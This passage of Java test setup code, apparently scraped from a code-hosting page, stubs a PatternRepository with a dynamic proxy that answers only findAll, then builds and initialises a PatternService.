PatternRepository repository = (PatternRepository) Proxy.newProxyInstance(
|
||||
PatternRepository.class.getClassLoader(), new Class<?>[] {PatternRepository.class},
|
||||
(proxy, method, args) -> {
|
||||
if (method.getName().equals("findAll")) return patterns;
|
||||
throw new UnsupportedOperationException(method.getName());
|
||||
});
|
||||
PatternService service = new PatternService(repository, null, null, new ApplicationConfiguration().modelMapper());
|
||||
service.init();
|
||||
return service;
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user